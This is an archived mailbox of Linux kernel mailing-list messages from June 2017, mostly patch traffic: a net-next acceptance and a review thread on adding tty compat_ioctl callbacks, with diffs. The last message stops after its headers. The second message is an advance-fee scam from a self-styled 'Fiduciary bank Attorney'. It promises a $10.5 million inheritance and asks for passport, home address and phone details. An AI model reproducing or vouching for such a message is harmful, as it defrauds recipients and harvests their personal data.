Original-X-From: netdev-owner@vger.kernel.org Mon Jun 05 17:01:49 2017
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <netdev-owner@vger.kernel.org>)
	id 1dHtVt-0008EV-3u
	for linux-netdev-2@m.gmane.org; Mon, 05 Jun 2017 17:01:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751214AbdFEPBx (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
        Mon, 5 Jun 2017 11:01:53 -0400
Original-Received: from shards.monkeyblade.net ([184.105.139.130]:37842 "EHLO
        shards.monkeyblade.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751153AbdFEPBw (ORCPT
        <rfc822;netdev@vger.kernel.org>); Mon, 5 Jun 2017 11:01:52 -0400
Original-Received: from localhost (unknown [38.140.131.194])
        (using TLSv1 with cipher AES128-SHA (128/128 bits))
        (Client did not present a certificate)
        (Authenticated sender: davem-davemloft)
        by shards.monkeyblade.net (Postfix) with ESMTPSA id 74A29136A5427;
        Mon,  5 Jun 2017 07:20:08 -0700 (PDT)
In-Reply-To: <20170604172200.4177-1-yuval.shaia@oracle.com>
X-Mailer: Mew version 6.7 on Emacs 24.5 / Mule 6.0 (HANACHIRUSATO)
X-Greylist: Sender succeeded SMTP AUTH, not delayed by milter-greylist-4.5.12 (shards.monkeyblade.net [149.20.54.216]); Mon, 05 Jun 2017 07:20:11 -0700 (PDT)
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:474296 gmane.linux.ports.parisc:27462 gmane.linux.ports.arm.kernel:582278 gmane.linux.ports.mips.general:59389 gmane.linux.usb.general:159193
Archived-At: <http://permalink.gmane.org/gmane.linux.network/474296>

From: Yuval Shaia <yuval.shaia@oracle.com>
Date: Sun,  4 Jun 2017 20:22:00 +0300

> Make return value void since functions never returns meaningfull value.
> 
> Signed-off-by: Yuval Shaia <yuval.shaia@oracle.com>

Applied to net-next.


From - Thu Nov 08 21:39:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Jerry Donsin <jerrydonsin6@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: waiting for your response soon.
Date: Mon, 5 Jun 2017 16:51:44 +0000
Lines: 36
Approved: news@gmane.org
Message-ID: <CA+r1-+ScphY_i4hE15yJiNwSNvVtN3GRhU3M62OeMfYYA8dwAg@mail.gmail.com>
Reply-To: jerrydonsin1@hotmail.fr
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1496681520 23027 195.159.176.226 (5 Jun 2017 16:52:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 5 Jun 2017 16:52:00 +0000 (UTC)
To: undisclosed-recipients:;
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 05 18:51:55 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dHvEQ-0005eH-Iu
	for glpp-linux-parisc@m.gmane.org; Mon, 05 Jun 2017 18:51:54 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752497AbdFEQvr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 5 Jun 2017 12:51:47 -0400
Original-Received: from mail-qt0-f193.google.com ([209.85.216.193]:35452 "EHLO
        mail-qt0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751077AbdFEQvq (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 5 Jun 2017 12:51:46 -0400
Original-Received: by mail-qt0-f193.google.com with SMTP id x58so9845466qtc.2
        for <linux-parisc@vger.kernel.org>; Mon, 05 Jun 2017 09:51:46 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:reply-to:from:date:message-id:subject:to;
        bh=uDkXOpC2WE4AK7l1rqagLGVHPiCbjJNon63OuuIOIr8=;
        b=bfQ+wsBe/5fj9O+6/YxeTjR/hIg0RX78hHdP8eQBG/KNpzcqThgPviEKDe4zoyWRG9
         xi8O/9VFPf0i6Z2bIqecEPh2zepc3uGD71pdb0LiUJ/EZHXYqzqDHGNVZzvfmYu6XTk9
         ekfYbc/gNFoLQX8eWUOTJWUU/VcqB+tIidlV7uvijKkygFvdmE3mpu5EDYPemGEc60IZ
         k3bozUVE/Bcp/GuXHAOVw8EDN+b9dJG2R+VPeX//Z6EIOz0JvgMEwjPDxAA8xaqXBqeY
         fvM3a/k1F6sogNrHZ5XI4HjOhvdPNaCAo1AobC0dX4TzpPC8T5JgqcU+smoZ6FAVfs+1
         25DA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:reply-to:from:date:message-id
         :subject:to;
        bh=uDkXOpC2WE4AK7l1rqagLGVHPiCbjJNon63OuuIOIr8=;
        b=oy9caSHCktEaQ2s5Z4oLVxM+Ki0yKmuAlEKyiZihQr6rv9doVm4slQQtlzEAxvSr3a
         ZCgvlPXRexnAtD6/Is6P4ayPDY2jkGvuhd7Kimg61Tb0ix6apONbqozBBUFWPteNfJsS
         SfLxNxZC5E5mXp0Km8zlRxvKbriI/Xx5bFk1bedx3xIOeMecIP6XGkHPfKXrN4udFjET
         REp5QczzJxkg+zA/sFJV9ClFTQM0lT64ALi/OJDu/LPtcGq78JisMxj/mm9zXS8PrCoq
         yPxA8e4lp4Do11Fiots6MS0WFne+c7hBZoHElsxIOaKlIWL2ivKg6kgcHDESVwc7xe2H
         S9lw==
X-Gm-Message-State: AKS2vOwBRRO1OUEgfvM/kH8uwjMgpsVZQNhaTNn8rp8NBdKM/MP0nCNf
        ab6C6DLFlluZec5FfFpKyRGiZgRROQ==
X-Received: by 10.200.8.169 with SMTP id v38mr21191808qth.213.1496681505103;
 Mon, 05 Jun 2017 09:51:45 -0700 (PDT)
Original-Received: by 10.12.173.175 with HTTP; Mon, 5 Jun 2017 09:51:44 -0700 (PDT)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27463
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27463>

Good day,

Please, i Want to introduce my self on this business opportunity to
you  My name is Jerry Donsin, A Fiduciary bank Attorney At Law. i wish
to know  if we can work together.

I Would like you stand as the surviving beneficiary to my deceased
client Who made some deposit of ($10.5 Million) He died  without
leaving any WILL and any registered next of kin and as such the funds
now have open beneficiary mandate.

Kindly get in touch with me through my email address
(jerrydonsin1@hotmail.fr) with your information For more guild lines
to  the repartition of this fund.

FULL NAME :
AGE :
OCCUPATION :
INTERNATIONAL PASSPORT OR DRIVERS LICENSE :
YOUR COUNTRY:
PERSONAL PHONE NUMBER:
PERSONAL FAX NUMBER:
HOME ADDRESS:

May His Fragile Soul Rest In Perfect Peace Amen !!!

Regards,

Jerry Donsin Esq.

jerrydonsin1@hotmail.fr
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 1/2] tty: add compat_ioctl callbacks
Date: Tue, 6 Jun 2017 13:01:23 +0200
Lines: 97
Approved: news@gmane.org
Message-ID: <CAK8P3a3j4rB+iVX=a36csE6mX9iMRp14TS1UeePyFsjTKQyiZw@mail.gmail.com>
References: <20170603135111.5444-1-asarai@suse.de> <20170603135111.5444-2-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1496746887 10981 195.159.176.226 (6 Jun 2017 11:01:27 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 6 Jun 2017 11:01:27 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-alpha@vger.kernel.org,
        "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        linuxppc-dev <linuxppc-dev@lists.ozlabs.org>,
        linux-sh@vger.kernel.org, sparclinux <sparclinux@vger.kernel.org>,
        linux-xtensa@linux-xtensa.org,
        linux-arch <linux-arch@vger.kernel.org>,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>
To: Aleksa Sarai <asarai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 06 13:01:22 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dICEj-0000Xw-Rq
	for glpp-linux-parisc@m.gmane.org; Tue, 06 Jun 2017 13:01:22 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751427AbdFFLB1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 6 Jun 2017 07:01:27 -0400
Original-Received: from mail-oi0-f66.google.com ([209.85.218.66]:35681 "EHLO
        mail-oi0-f66.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751407AbdFFLBZ (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 6 Jun 2017 07:01:25 -0400
Original-Received: by mail-oi0-f66.google.com with SMTP id v74so1057006oie.2;
        Tue, 06 Jun 2017 04:01:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=qHDKWJ4Uy1VdijPZeGOSploOIp4wW9O1Y1eMeDS5Ojc=;
        b=Mk4hwmoBipL0Ho91j65GjNMmdosFP1t4RuDpqWacyS88J3PwwLXQ5kxQztoozb32r3
         kzXpAiC0TfsSWiI+6J+0sY/NkE7w/HPmNR5jiFsZuXoQg7TuDhJ5f45oUbBCmHOe142E
         RpVomvEIHGRCiX9cOf54A7XAp1A+rj8Oni9j6YvKdVJiqoAR/zpIGqIDIiMZpdhdUqNw
         Ebhn7O5UjO/XULwZ8DTABxI/QFezGyYLUpjQdhvt8iCi2SkZR4d9GLEiHlOsSezqEMAI
         VSylnb+D1JpR7N3eDnk2PUpnFrRLNvw8Wmajir5+SG8D0/AS1BCv4ouXxiSP23IWrwlm
         nFNg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=qHDKWJ4Uy1VdijPZeGOSploOIp4wW9O1Y1eMeDS5Ojc=;
        b=t++ispIYCSa3WqQwmlK+ALrpIiG9KH4zDFtrhBUUWpMF4pYivvSLW1kq3ETiH53h+T
         ueFCbl2u7KE4AhbcWd2loZCN4mEAp/UF8eNvRjf1u51WbFPB9beg71gnGEqNTiltph0t
         gX32tEuz5PJ4ogtpB+sBefvfHmlwL9V8XvDPysbHS0POleGkIjdQMAfflL6zdIzB76Lc
         HYDRDQNl0ZH55zQKCKfFHEubWpviq/sXPIJSKfHVbHqvrchYP49rtiT71vJQln4daNZf
         E+yqj7Db+umg53mxjUiGrgAJAXTUhbEhE2VLJ0c2JaT/cWaLU/jEo5op4BRhp5M4jyLr
         pf3w==
X-Gm-Message-State: AODbwcDEC8SD69740v+MUrBmEW6P3FfViJlA3hfAKce2FYhL8HvJbMPE
        QCZgwgx99e9VYPYa1nR4CeylWDZp8g==
X-Received: by 10.202.184.85 with SMTP id i82mr9925870oif.71.1496746884014;
 Tue, 06 Jun 2017 04:01:24 -0700 (PDT)
Original-Received: by 10.157.51.139 with HTTP; Tue, 6 Jun 2017 04:01:23 -0700 (PDT)
In-Reply-To: <20170603135111.5444-2-asarai@suse.de>
X-Google-Sender-Auth: 8vMSgZqQ9mUIBJngx_a3gB0vwls
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27464 gmane.linux.kernel:2492914 gmane.linux.ports.alpha:4231 gmane.linux.ports.mips.general:59433 gmane.linux.ports.ppc64.devel:142919 gmane.linux.ports.sh.devel:55378 gmane.linux.ports.sparc:25348 gmane.linux.kernel.cross-arch:36989
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27464>

On Sat, Jun 3, 2017 at 3:51 PM, Aleksa Sarai <asarai@suse.de> wrote:
> In order to avoid future diversions between fs/compat_ioctl.c and
> drivers/tty/pty.c, define .compat_ioctl callbacks for the relevant
> tty_operations structs. Since both pty_unix98_ioctl() and
> pty_bsd_ioctl() are compatible between 32-bit and 64-bit userspace no
> special translation is required.
>
> Signed-off-by: Aleksa Sarai <asarai@suse.de>
> ---
>  Makefile          |  1 +
>  drivers/tty/pty.c | 22 ++++++++++++++++++++++
>  fs/compat_ioctl.c |  6 ------
>  3 files changed, 23 insertions(+), 6 deletions(-)
>
> diff --git a/Makefile b/Makefile
> index 470bd4d9513a..fb689286d83a 100644
> --- a/Makefile
> +++ b/Makefile
> @@ -401,6 +401,7 @@ KBUILD_CFLAGS   := -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs \
>                    -fno-strict-aliasing -fno-common \
>                    -Werror-implicit-function-declaration \
>                    -Wno-format-security \
> +                  -Wno-error=int-in-bool-context \
>                    -std=gnu89 $(call cc-option,-fno-PIE)

This  slipped in by accident I assume? It seems completely unrelated.

> diff --git a/drivers/tty/pty.c b/drivers/tty/pty.c
> index 65799575c666..2a6bd9ae3f8b 100644
> --- a/drivers/tty/pty.c
> +++ b/drivers/tty/pty.c
> @@ -481,6 +481,16 @@ static int pty_bsd_ioctl(struct tty_struct *tty,
>         return -ENOIOCTLCMD;
>  }
>
> +static long pty_bsd_compat_ioctl(struct tty_struct *tty,
> +                                unsigned int cmd, unsigned long arg)
> +{
> +       /*
> +        * PTY ioctls don't require any special translation between 32-bit and
> +        * 64-bit userspace, they are already compatible.
> +        */
> +       return pty_bsd_ioctl(tty, cmd, arg);
> +}
> +

This looks correct but unnecessary, you can simply point both
function pointers to the same function:

>   * not really modular, but the easiest way to keep compat with existing
> @@ -502,6 +512,7 @@ static const struct tty_operations master_pty_ops_bsd = {
>         .chars_in_buffer = pty_chars_in_buffer,
>         .unthrottle = pty_unthrottle,
>         .ioctl = pty_bsd_ioctl,
> +       .compat_ioctl = pty_bsd_compat_ioctl,

           .compat_ioctl = pty_bsd_ioctl,

The separate handler would only be required when you need any kind
of special handling depending on the command.

> diff --git a/fs/compat_ioctl.c b/fs/compat_ioctl.c
> index 6116d5275a3e..112b3e1e20e3 100644
> --- a/fs/compat_ioctl.c
> +++ b/fs/compat_ioctl.c
> @@ -866,8 +866,6 @@ COMPATIBLE_IOCTL(TIOCGDEV)
>  COMPATIBLE_IOCTL(TIOCCBRK)
>  COMPATIBLE_IOCTL(TIOCGSID)
>  COMPATIBLE_IOCTL(TIOCGICOUNT)
> -COMPATIBLE_IOCTL(TIOCGPKT)
> -COMPATIBLE_IOCTL(TIOCGPTLCK)
>  COMPATIBLE_IOCTL(TIOCGEXCL)
>  /* Little t */
>  COMPATIBLE_IOCTL(TIOCGETD)
> @@ -883,16 +881,12 @@ COMPATIBLE_IOCTL(TIOCMGET)
>  COMPATIBLE_IOCTL(TIOCMBIC)
>  COMPATIBLE_IOCTL(TIOCMBIS)
>  COMPATIBLE_IOCTL(TIOCMSET)
> -COMPATIBLE_IOCTL(TIOCPKT)
>  COMPATIBLE_IOCTL(TIOCNOTTY)
>  COMPATIBLE_IOCTL(TIOCSTI)
>  COMPATIBLE_IOCTL(TIOCOUTQ)
>  COMPATIBLE_IOCTL(TIOCSPGRP)
>  COMPATIBLE_IOCTL(TIOCGPGRP)
> -COMPATIBLE_IOCTL(TIOCGPTN)
> -COMPATIBLE_IOCTL(TIOCSPTLCK)
>  COMPATIBLE_IOCTL(TIOCSERGETLSR)
> -COMPATIBLE_IOCTL(TIOCSIG)

Looks good.

       Arnd
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aleksa Sarai <asarai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 1/2] tty: add compat_ioctl callbacks
Date: Tue, 6 Jun 2017 21:05:06 +1000
Lines: 58
Approved: news@gmane.org
Message-ID: <6faa7b93-a355-f7ba-e5e9-12f2414ac695@suse.de>
References: <20170603135111.5444-1-asarai@suse.de>
 <20170603135111.5444-2-asarai@suse.de>
 <CAK8P3a3j4rB+iVX=a36csE6mX9iMRp14TS1UeePyFsjTKQyiZw@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1496747125 26254 195.159.176.226 (6 Jun 2017 11:05:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 6 Jun 2017 11:05:25 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.1.1
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-alpha@vger.kernel.org,
        "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        linuxppc-dev <linuxppc-dev@lists.ozlabs.org>,
        linux-sh@vger.kernel.org, sparclinux <sparclinux@vger.kernel.org>,
        linux-xtensa@linux-xtensa.org,
        linux-arch <linux-arch@vger.kernel.org>,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 06 13:05:18 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dICIV-0006Fr-LJ
	for glpp-linux-parisc@m.gmane.org; Tue, 06 Jun 2017 13:05:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751503AbdFFLFU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 6 Jun 2017 07:05:20 -0400
Original-Received: from mx2.suse.de ([195.135.220.15]:39763 "EHLO mx1.suse.de"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751499AbdFFLFS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 6 Jun 2017 07:05:18 -0400
X-Virus-Scanned: by amavisd-new at test-mx.suse.de
Original-Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254])
        by mx1.suse.de (Postfix) with ESMTP id 7F9BEAC17;
        Tue,  6 Jun 2017 11:05:16 +0000 (UTC)
In-Reply-To: <CAK8P3a3j4rB+iVX=a36csE6mX9iMRp14TS1UeePyFsjTKQyiZw@mail.gmail.com>
Content-Language: en-US
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27465 gmane.linux.kernel:2492919 gmane.linux.ports.alpha:4232 gmane.linux.ports.mips.general:59434 gmane.linux.ports.ppc64.devel:142920 gmane.linux.ports.sh.devel:55379 gmane.linux.ports.sparc:25349 gmane.linux.kernel.cross-arch:36990
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27465>

>> diff --git a/Makefile b/Makefile
>> index 470bd4d9513a..fb689286d83a 100644
>> --- a/Makefile
>> +++ b/Makefile
>> @@ -401,6 +401,7 @@ KBUILD_CFLAGS   := -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs \
>>                     -fno-strict-aliasing -fno-common \
>>                     -Werror-implicit-function-declaration \
>>                     -Wno-format-security \
>> +                  -Wno-error=int-in-bool-context \
>>                     -std=gnu89 $(call cc-option,-fno-PIE)
> 
> This  slipped in by accident I assume? It seems completely unrelated.

Yeah, I re-sent v4 with this removed immediately afterwards.

> 
>> diff --git a/drivers/tty/pty.c b/drivers/tty/pty.c
>> index 65799575c666..2a6bd9ae3f8b 100644
>> --- a/drivers/tty/pty.c
>> +++ b/drivers/tty/pty.c
>> @@ -481,6 +481,16 @@ static int pty_bsd_ioctl(struct tty_struct *tty,
>>          return -ENOIOCTLCMD;
>>   }
>>
>> +static long pty_bsd_compat_ioctl(struct tty_struct *tty,
>> +                                unsigned int cmd, unsigned long arg)
>> +{
>> +       /*
>> +        * PTY ioctls don't require any special translation between 32-bit and
>> +        * 64-bit userspace, they are already compatible.
>> +        */
>> +       return pty_bsd_ioctl(tty, cmd, arg);
>> +}
>> +
> 
> This looks correct but unnecessary, you can simply point both
> function pointers to the same function:

They have different types, since they have different return types:

int  (*ioctl)(struct tty_struct *tty,
	    unsigned int cmd, unsigned long arg);
long (*compat_ioctl)(struct tty_struct *tty,
		     unsigned int cmd, unsigned long arg);

If you like, I can change (*ioctl) to return longs as well, and then 
change all of the call-sites (since unlocked_ioctl also returns long).

-- 
Aleksa Sarai
Software Engineer (Containers)
SUSE Linux GmbH
https://www.cyphar.com/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 1/2] tty: add compat_ioctl callbacks
Date: Tue, 6 Jun 2017 14:46:20 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <CAK8P3a1XsE9uCwn9N7oc4GycPERX3t1XhGyiixxRjhG8GXoEuA@mail.gmail.com>
References: <20170603135111.5444-1-asarai@suse.de> <20170603135111.5444-2-asarai@suse.de>
 <CAK8P3a3j4rB+iVX=a36csE6mX9iMRp14TS1UeePyFsjTKQyiZw@mail.gmail.com> <6faa7b93-a355-f7ba-e5e9-12f2414ac695@suse.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1496753193 21149 195.159.176.226 (6 Jun 2017 12:46:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 6 Jun 2017 12:46:33 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-alpha@vger.kernel.org,
        "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        linuxppc-dev <linuxppc-dev@lists.ozlabs.org>,
        linux-sh@vger.kernel.org, sparclinux <sparclinux@vger.kernel.org>,
        linux-xtensa@linux-xtensa.org,
        linux-arch <linux-arch@vger.kernel.org>,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>
To: Aleksa Sarai <asarai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 06 14:46:27 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dIDsQ-0004R6-HO
	for glpp-linux-parisc@m.gmane.org; Tue, 06 Jun 2017 14:46:26 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751430AbdFFMqb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 6 Jun 2017 08:46:31 -0400
Original-Received: from mail-oi0-f65.google.com ([209.85.218.65]:33307 "EHLO
        mail-oi0-f65.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751585AbdFFMqW (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 6 Jun 2017 08:46:22 -0400
Original-Received: by mail-oi0-f65.google.com with SMTP id h4so24425642oib.0;
        Tue, 06 Jun 2017 05:46:21 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=T7lYZQVgrqA2+m4wU/qywIxN+Ygu0d7zAsKu+uFHBrs=;
        b=tfPGXbj3YOVA/R/EN+WvuPM9hOz4Bx/6i4xj/nkMxpVXWWVxuMFzi7XW7XjYxGUTuW
         poSCInNI+HJpBka3lypO+WDBdZEyACm1bjJDMp2k72tHQUM2j0hsWI7BUIDS2NtEWZ68
         pkZo+0+tMXEq42IDIucabVQ10qcINfbJtS3O2LV9zOE/OsVYvvU5gzti5SB8TC4LQTRh
         iK4A/Re6QTEaA66BoadD0mNZ8x52xG+LA2ttDWqeb3iZID1VyFBxtYLtnudPlY2RYTGv
         eXLJFtNUyHzSheFGCx/vS5uQOeoXK33LGmp/xYPLRdnG/97SO357PsUjTBPpTit5ga+5
         +j/w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=T7lYZQVgrqA2+m4wU/qywIxN+Ygu0d7zAsKu+uFHBrs=;
        b=Pnp/uLtNP0a/aryy4tToa24aan4nUhPrW/lh3dJOiQEyCZqYMP6LCTlu+dqdxGTNdO
         vscAfgFBunL8sshvMRzcqdHn/yTMcRlzZkrVkzPaLVWe1P7tOBtvCyCKLnUMsvmnq7Mk
         cA8oZxQI9pTNH25iolGhLsHMr2mnW3d0ZZiGfG46Yy8nObNOO7Av/FMh4aLDn/dmPdGt
         Ap6+BOoweB7VqM5CibXIvdkMopaw2YNVkAaX/dGyuENd6lpeW35K4snqvBe34Cz9oUUW
         mH7iQbJMUfycu24/epg9lo8o3D3210RsjrO1vUufb2P36eZBo2r/+74BgjBVoVe6xpoA
         g83A==
X-Gm-Message-State: AODbwcBpVeaOkbgC8ZyvAbmJKdUQb2BWCApO6oQa56O1pF5mts2gZIW/
        nkSfdALmi71dKp+XyIk83TqnGTsS5g==
X-Received: by 10.202.196.67 with SMTP id u64mr8107764oif.40.1496753181111;
 Tue, 06 Jun 2017 05:46:21 -0700 (PDT)
Original-Received: by 10.157.51.139 with HTTP; Tue, 6 Jun 2017 05:46:20 -0700 (PDT)
In-Reply-To: <6faa7b93-a355-f7ba-e5e9-12f2414ac695@suse.de>
X-Google-Sender-Auth: R6Vewl9M6cNqc8Mmqc9xy7qmFGY
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
